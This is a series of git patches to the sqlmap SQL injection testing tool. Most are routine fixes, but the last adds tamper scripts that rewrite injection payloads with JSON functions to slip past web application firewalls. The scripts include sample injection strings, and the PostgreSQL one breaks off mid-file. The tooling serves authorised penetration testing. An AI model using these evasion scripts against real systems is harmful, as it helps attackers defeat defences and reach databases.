From 33a6547f5b8362c7fc5c9dd6e04f1ee0aa1a73c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 6 Dec 2022 11:55:03 +0100 Subject: [PATCH 01/14] Fixes #5252 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/request/basic.py | 15 ++++++++------- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index d740e572c..29570dcdb 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2097,7 +2097,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None diff --git a/lib/core/settings.py b/lib/core/settings.py index ead5d26f8..60442403b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.10" +VERSION = "1.6.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index ae3bc2353..37ae92d0c 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -401,13 +401,14 @@ def processResponse(page, responseHeaders, code=None, status=None): if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) - identYwaf.non_blind.clear() - if identYwaf.non_blind_check(rawResponse, silent=True): - for waf in identYwaf.non_blind: - if waf not in kb.identifiedWafs: - kb.identifiedWafs.add(waf) - errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) - singleTimeLogMessage(errMsg, logging.CRITICAL) + with kb.locks.identYwaf: + identYwaf.non_blind.clear() + if identYwaf.non_blind_check(rawResponse, silent=True): + for waf in set(identYwaf.non_blind): + if waf not in kb.identifiedWafs: + kb.identifiedWafs.add(waf) + errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) + singleTimeLogMessage(errMsg, logging.CRITICAL) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): From ebaee3a4e6b32877874f2676397cc7f3bf3ed756 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Dec 2022 15:24:27 +0100 Subject: [PATCH 02/14] Minor patch for #5255 --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- sqlmap.py | 5 ++++- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8f29e086a..4be6a9b81 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1034,7 +1034,10 @@ def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=C except UnicodeEncodeError: sys.stdout.write(re.sub(r"[^ -~]", '?', clearColors(data))) finally: - sys.stdout.flush() + try: + sys.stdout.flush() + except IOError: + raise SystemExit if multiThreadMode: logging._releaseLock() diff --git a/lib/core/settings.py b/lib/core/settings.py index 60442403b..c2dc69707 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.0" +VERSION = "1.6.12.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 7c7e14ebd..43b0fee8f 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -250,7 +250,10 @@ def main(): raise SystemExit except KeyboardInterrupt: - print() + try: + print() + except IOError: + pass except EOFError: print() From 86ac3025edb83ce49d563b6787df4fc6ca305ce6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Dec 2022 23:42:24 +0100 Subject: [PATCH 03/14] Improving SQLite table schema parsing (#2678) --- data/xml/queries.xml | 4 ++-- extra/vulnserver/vulnserver.py | 3 ++- lib/core/common.py | 28 ++++++++++++++++++++++++---- lib/core/settings.py | 2 +- 4 files changed, 29 insertions(+), 8 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 75f6edf95..deda4364d 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -357,8 +357,8 @@ - - + + diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index f7211e61c..37d7df3c3 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -44,7 +44,8 @@ SCHEMA = """ CREATE TABLE users ( id INTEGER, name TEXT, - surname TEXT + surname TEXT, + PRIMARY KEY (id) ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); diff --git a/lib/core/common.py b/lib/core/common.py index 4be6a9b81..cdf0c8507 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3402,19 +3402,39 @@ def parseSqliteTableSchema(value): >>> kb.data.cachedColumns = {} >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") True - >>> repr(kb.data.cachedColumns).count(',') == 1 + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) + True + >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); + True + >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) True """ retVal = False + value = extractRegexResult(r"(?s)\((?P.+)\)", value) + if value: table = {} - columns = {} + columns = OrderedDict() - for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + value = re.sub(r"\(.+?\)", "", value).strip() + + for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): + column = match.group(1).strip(match.group(2) or "") + if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): + continue retVal = True - columns[match.group(1)] = match.group(2) or "TEXT" + + columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns kb.data.cachedColumns[conf.db] = table diff --git a/lib/core/settings.py b/lib/core/settings.py index c2dc69707..53097ec31 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.1" +VERSION = "1.6.12.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 76202e565d286dc32c101bf2dcf2710116bae7f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Dec 2022 23:52:04 +0100 Subject: [PATCH 04/14] Fixes #5258 --- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 53097ec31..a1a72531b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.2" +VERSION = "1.6.12.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 84ec25e4d..5c0a207aa 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -308,7 +308,7 @@ class Connect(object): threadData.lastRequestUID = kb.requestCounter if conf.proxyFreq: - if kb.requestCounter % conf.proxyFreq == 1: + if kb.requestCounter % conf.proxyFreq == 0: conf.proxy = None warnMsg = "changing proxy" From 7c9e4c4a653b3e63fb7a341e5f55a3e7e2d5f3cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Dec 2022 00:32:35 +0100 Subject: [PATCH 05/14] Fixes #5164 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cdf0c8507..9fd6ff5f1 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1822,7 +1822,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([`'\"][^`'\"]+[`'\"]|\w+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " diff --git a/lib/core/settings.py b/lib/core/settings.py index a1a72531b..1699fce8f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.3" +VERSION = "1.6.12.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a11f79e16f99ff624f07288019cadc78d43bf286 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 14 Dec 2022 00:35:27 +0100 Subject: [PATCH 06/14] One more update regarding #5164 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9fd6ff5f1..9a28c99f9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1822,7 +1822,7 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+([`'\"][^`'\"]+[`'\"]|\w+)(\s|\Z)", expression) + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " diff --git a/lib/core/settings.py b/lib/core/settings.py index 1699fce8f..65b27b16f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.4" +VERSION = "1.6.12.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b7411211af01f302dcbec3d2a0e751f971fe7f28 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 Dec 2022 14:46:00 +0100 Subject: [PATCH 07/14] Fixes #5262 --- lib/core/settings.py | 2 +- lib/utils/api.py | 25 +++++++++++++++---------- 2 files changed, 16 insertions(+), 11 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 65b27b16f..b81a77880 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.5" +VERSION = "1.6.12.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 363b5bea2..6fa8c0ab2 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -17,6 +17,7 @@ import socket import sqlite3 import sys import tempfile +import threading import time from lib.core.common import dataToStdout @@ -88,6 +89,7 @@ class Database(object): def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() + self.lock = threading.Lock() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): @@ -101,17 +103,20 @@ class Database(object): self.connection.commit() def execute(self, statement, arguments=None): - while True: - try: - if arguments: - self.cursor.execute(statement, arguments) + with self.lock: + while True: + try: + if arguments: + self.cursor.execute(statement, arguments) + else: + self.cursor.execute(statement) + except sqlite3.OperationalError as ex: + if "locked" not in getSafeExString(ex): + raise + else: + time.sleep(1) else: - self.cursor.execute(statement) - except sqlite3.OperationalError as ex: - if "locked" not in getSafeExString(ex): - raise - else: - break + break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() From e85bc30f95416ee6b9f3a1bf4d5d139d00cbe2d4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 Dec 2022 13:29:37 +0100 Subject: [PATCH 08/14] Fixes #5267 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b81a77880..b3b068cd5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.6" +VERSION = "1.6.12.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 43b0fee8f..93bc145aa 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -498,6 +498,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "database disk image is malformed" in excMsg: + errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" + logger.critical(errMsg) + raise SystemExit + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" From 4cd146cc86517005c76f8b178783de25cccf8b58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 21 Dec 2022 14:03:40 +0100 Subject: [PATCH 09/14] Fix for masking of sensitive data --- lib/core/common.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9a28c99f9..bf2006d72 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4033,7 +4033,7 @@ def maskSensitiveData(msg): >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' True - >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************' + >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' True """ @@ -4049,7 +4049,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(value, '*' * len(value)) # Just in case (for problematic parameters regarding user encoding) - for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal): + for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitutions diff --git a/lib/core/settings.py b/lib/core/settings.py index b3b068cd5..ff2595d5f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.7" +VERSION = "1.6.12.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dd4010f16f7843096feaef1c70d5a06a4f96569e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 23 Dec 2022 15:49:08 +0100 Subject: [PATCH 10/14] Fixes #5268 --- lib/core/compat.py | 40 +++++++++++++++++++++++++++++++++++----- lib/core/settings.py | 2 +- 2 files changed, 36 insertions(+), 6 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index 7275ea07d..6a7a40769 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -12,6 +12,7 @@ import functools import math import os import random +import re import sys import time import uuid @@ -277,8 +278,37 @@ else: xrange = xrange buffer = buffer -try: - from packaging import version - LooseVersion = version.parse -except ImportError: - from distutils.version import LooseVersion +def LooseVersion(version): + """ + >>> LooseVersion("1.0") == LooseVersion("1.0") + True + >>> LooseVersion("1.0.1") > LooseVersion("1.0") + True + >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") + True + >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") + True + >>> LooseVersion("foobar") > LooseVersion("1.0") + False + >>> LooseVersion("1.0") > LooseVersion("foobar") + False + >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + True + >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") + 8.000022 + """ + + match = re.search(r"\A(\d[\d.]*)", version or "") + + if match: + result = 0 + value = match.group(1) + weight = 1.0 + for part in value.strip('.').split('.'): + if part.isdigit(): + result += int(part) * weight + weight *= 1e-3 + else: + result = float("NaN") + + return result diff --git a/lib/core/settings.py b/lib/core/settings.py index ff2595d5f..7e034673f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.8" +VERSION = "1.6.12.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 12e3ed14ae310608293aadeeff53760366bc3556 Mon Sep 17 00:00:00 2001 From: noamiscool <119214136+noamiscool@users.noreply.github.com> Date: Fri, 23 Dec 2022 16:52:49 +0200 Subject: [PATCH 11/14] JSON WAF bypass tamper scripts (#5260) * added JSON waf bypass techniques * added a link for WAF evasion technique blog * Added generic JSON WAF bypass --- doc/THANKS.md | 3 + tamper/json_waf_bypass_mysql.py | 163 ++++++++++++++++++++ tamper/json_waf_bypass_postgres.py | 237 +++++++++++++++++++++++++++++ tamper/json_waf_bypass_sqlite.py | 178 ++++++++++++++++++++++ 4 files changed, 581 insertions(+) create mode 100644 tamper/json_waf_bypass_mysql.py create mode 100644 tamper/json_waf_bypass_postgres.py create mode 100644 tamper/json_waf_bypass_sqlite.py diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a9..fdbabaf57 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -789,6 +789,9 @@ x, zhouhx, * for contributing a minor patch +Noam Moshe Claroty Team82 +* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py + # Organizations Black Hat team, diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py new file mode 100644 index 000000000..e2b15d4dc --- /dev/null +++ b/tamper/json_waf_bypass_mysql.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. +pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+# 2) JSON_EXTRACT
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+    print("generate_str_payload")
+    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
+    return (random.choice(STR_FUNCTIONS))()
+    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_length_payload():
+    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
+
+
+def generate_depth_paylod():
+    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
+
+
+def generate_quote_payload():
+    var = generate_random_string()
+    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+    return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+    return generate_extract_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+    key = generate_random_string()
+    if isString:
+        value = generate_random_string()
+        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+    value = generate_random_int()
+    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+        
+    Bypasses generic WAFs using JSON SQL Syntax.
+    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
+
+    Tested against:
+        * MySQL v8.0 - however every version after v5.7.8 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
+
+    Notes:
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) JSON_LENGTH()
+            2) json_depth
+            3) JSON_EXTRACT()
+
+        Possible STR payloads:
+            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+            2) JSON_EXTRACT
+            3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
+    >>> tamper('and 4515=8950--')
+    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
+    """
+
+    payload = payload.replace(r'%20', " ")
+    #
+    retVal = payload
+
+    if payload:
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+
+            # Is our payload is a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        else:
+
+            if payload.lower().startswith("' union"):
+                wafPayload = generate_random_payload()
+
+                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
new file mode 100644
index 000000000..bc368ebfd
--- /dev/null
+++ b/tamper/json_waf_bypass_postgres.py
@@ -0,0 +1,237 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
+pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
+pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+
+def dependencies():
+    pass
+
+
+# Possible int payloads:
+# 1) #>>
+# 2) @>
+# 3) ->> (index)
+# 4) ->> (str)
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible str payloads:
+# 1) ->> (str)
+# 2) ->> (index)
